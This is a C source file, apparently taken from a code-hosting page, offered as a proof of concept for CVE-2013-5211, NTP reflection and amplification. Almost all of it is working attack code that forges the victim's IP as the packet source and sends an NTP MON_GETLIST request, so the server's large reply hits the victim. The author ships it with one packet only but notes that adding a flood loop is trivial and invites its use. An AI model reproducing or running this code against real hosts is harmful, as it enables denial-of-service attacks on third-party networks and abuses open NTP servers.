167 lines
No EOL
6.4 KiB
C
Executable file
167 lines
No EOL
6.4 KiB
C
Executable file
/*
|
||
* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
|
||
* Date: 28/04/2014
|
||
* Code Author: Danilo PC - <DaNotKnow@gmail.com>
|
||
* CVE : CVE-2013-5211
|
||
*/
|
||
|
||
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
|
||
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
|
||
* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
|
||
*/
|
||
|
||
//------------------------------------------------------------------------------------------------//
|
||
//------------------------------------------------------------------------------------------------//
|
||
|
||
|
||
#include <stdio.h> //For on printf function
|
||
#include <string.h> //For memset
|
||
#include <sys/socket.h> //Structs and Functions used for sockets operations.
|
||
#include <stdlib.h> //For exit function
|
||
#include <netinet/ip.h> //Structs for IP header
|
||
|
||
//Struct for UDP Packet
|
||
struct udpheader{
|
||
unsigned short int udp_sourcePortNumber;
|
||
unsigned short int udp_destinationPortNumber;
|
||
unsigned short int udp_length;
|
||
unsigned short int udp_checksum;
|
||
};
|
||
|
||
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
|
||
struct ntpreqheader {
|
||
unsigned char rm_vn_mode; /* response, more, version, mode */
|
||
unsigned char auth_seq; /* key, sequence number */
|
||
unsigned char implementation; /* implementation number */
|
||
unsigned char request; /* request number */
|
||
unsigned short err_nitems; /* error code/number of data items */
|
||
unsigned short mbz_itemsize; /* item size */
|
||
char data[40]; /* data area [32 prev](176 byte max) */
|
||
unsigned long tstamp; /* time stamp, for authentication */
|
||
unsigned int keyid; /* encryption key */
|
||
char mac[8]; /* (optional) 8 byte auth code */
|
||
};
|
||
|
||
|
||
// Calculates the checksum of the ip header.
|
||
unsigned short csum(unsigned short *ptr,int nbytes)
|
||
{
|
||
register long sum;
|
||
unsigned short oddbyte;
|
||
register short answer;
|
||
|
||
sum=0;
|
||
while(nbytes>1) {
|
||
sum+=*ptr++;
|
||
nbytes-=2;
|
||
}
|
||
if(nbytes==1) {
|
||
oddbyte=0;
|
||
*((u_char*)&oddbyte)=*(u_char*)ptr;
|
||
sum+=oddbyte;
|
||
}
|
||
|
||
sum = (sum>>16)+(sum & 0xffff);
|
||
sum = sum + (sum>>16);
|
||
answer=(short)~sum;
|
||
return(answer);
|
||
}
|
||
|
||
|
||
//Da MAIN
|
||
|
||
int main(int argc, char **argv)
|
||
{
|
||
int status; // Maintains the return values of the functions
|
||
struct iphdr *ip; // Pointer to ip header struct
|
||
struct udpheader *udp; // Pointer to udp header struct
|
||
struct ntpreqheader *ntp; // Pointer to ntp request header struct
|
||
int sockfd; // Maintains the socket file descriptor
|
||
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
|
||
struct sockaddr_in dest; // Maintains the data of the destination address
|
||
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
|
||
|
||
// Parameters check
|
||
if( argc != 3){
|
||
printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
|
||
printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
|
||
printf("Watch it on wireshark!\n");
|
||
printf("Coded for education purpose only!\n");
|
||
exit(1);
|
||
}
|
||
|
||
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
|
||
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
|
||
if (sockfd == -1){
|
||
printf("Error on initializing the socket\n");
|
||
exit(1);
|
||
}
|
||
|
||
|
||
|
||
//Sets the option IP_HDRINCL
|
||
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
|
||
if (status == -1){
|
||
printf("Error on setting the option HDRINCL on socket\n");
|
||
exit(1);
|
||
}
|
||
|
||
|
||
//"Zeroes" all the packet stack
|
||
memset( packet, 0, sizeof(packet) );
|
||
|
||
|
||
//Mounts the packet headers
|
||
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
|
||
ip = (struct iphdr *)packet;
|
||
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
|
||
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
|
||
|
||
|
||
//Fill the IP Header
|
||
ip->version = 4; //IPv4
|
||
ip->ihl = 5; //Size of the Ip header, minimum 5
|
||
ip->tos = 0; //Type of service, the default value is 0
|
||
ip->tot_len = sizeof(packet); //Size of the datagram
|
||
ip->id = htons(1234); //LengthIdentification Number
|
||
ip->frag_off = 0; //Flags, zero represents reserved
|
||
ip->ttl = 255; //Time to Live. Maximum of 255
|
||
ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
|
||
ip->check = 0; //Checksum.
|
||
ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)
|
||
ip->daddr = inet_addr( argv[2] ); //Destination IP
|
||
|
||
//Fills the UDP Header
|
||
udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
|
||
udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
|
||
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
|
||
udp->udp_checksum = 0; //Checksum
|
||
|
||
//Calculate the checksums
|
||
ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
|
||
|
||
//Sets the destination data
|
||
dest.sin_family = AF_INET; // Address Family Ipv4
|
||
dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
|
||
dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endere<72>o para onde se quer enviar o pacote
|
||
|
||
//Fills the NTP header
|
||
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
|
||
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
|
||
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
|
||
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
|
||
ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
|
||
ntp->implementation=0x03; //Sets the implementation to 3
|
||
ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
|
||
//All the other fields of the struct are zeroed
|
||
|
||
|
||
// Sends the packets
|
||
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
|
||
if(status <0){
|
||
printf("Failed to send the packets\n");
|
||
exit(1);
|
||
}
|
||
|
||
|
||
} |